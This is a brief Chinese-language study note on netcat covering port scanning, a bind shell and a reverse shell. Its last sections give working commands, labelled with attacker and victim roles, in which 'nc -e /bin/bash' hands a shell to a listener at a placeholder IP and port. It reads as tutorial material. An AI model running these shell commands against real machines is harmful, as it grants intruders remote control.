【笔记】NetCat学习笔记
前言
NetCat学习笔记
下载依赖
Windows
MacOS
1 | brew install netcat |
探测端口
TCP
-v:显示细节
1 | nc -z <ip> <port> |
1 | nc -z <ip> <port_1> <port_2> |
UDP
1 | nc -zu <ip> <port> |
1 | nc -zu <ip> <port_1> <port_2> |
正向连接
受害者监听端口
<port>:监听的端口号
1 | nc -e /bin/bash -lvp <port> |
攻击者建立连接
<ip>:受害者的IP地址<port>:受害者的端口号
1 | nc <ip> <port> |
反向连接
攻击者监听反弹Shell
-l:监听模式-v:详细模式-p <port>:指定端口号,可以省略-p
<port>:监听的端口号
-u:监听UDP端口,如果不指定则监听TCP端口
1 | nc -lv <port> |
受害者反弹Shell
-e <exe>:转发指定可执行程序的输入和输出<ip>:攻击者的IP地址<port>:攻击者监听的端口号
1 | nc -e /bin/bash <ip> <port> |